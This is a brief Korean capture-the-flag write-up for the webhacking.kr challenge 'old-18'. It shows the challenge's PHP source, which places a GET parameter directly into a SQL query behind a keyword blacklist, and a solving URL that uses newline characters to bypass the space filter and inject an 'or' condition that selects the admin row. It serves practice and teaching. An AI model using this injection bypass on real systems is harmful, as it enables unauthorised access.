old-18 (100)

첫 화면이다.

view-source를 클릭해 본 소스의 일부는 아래와 같다.

<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>

https://webhacking.kr/challenge/web-32/index.php?no=0%0aor%0ano=2 로 이동하면 문제가 풀린다.

Last updated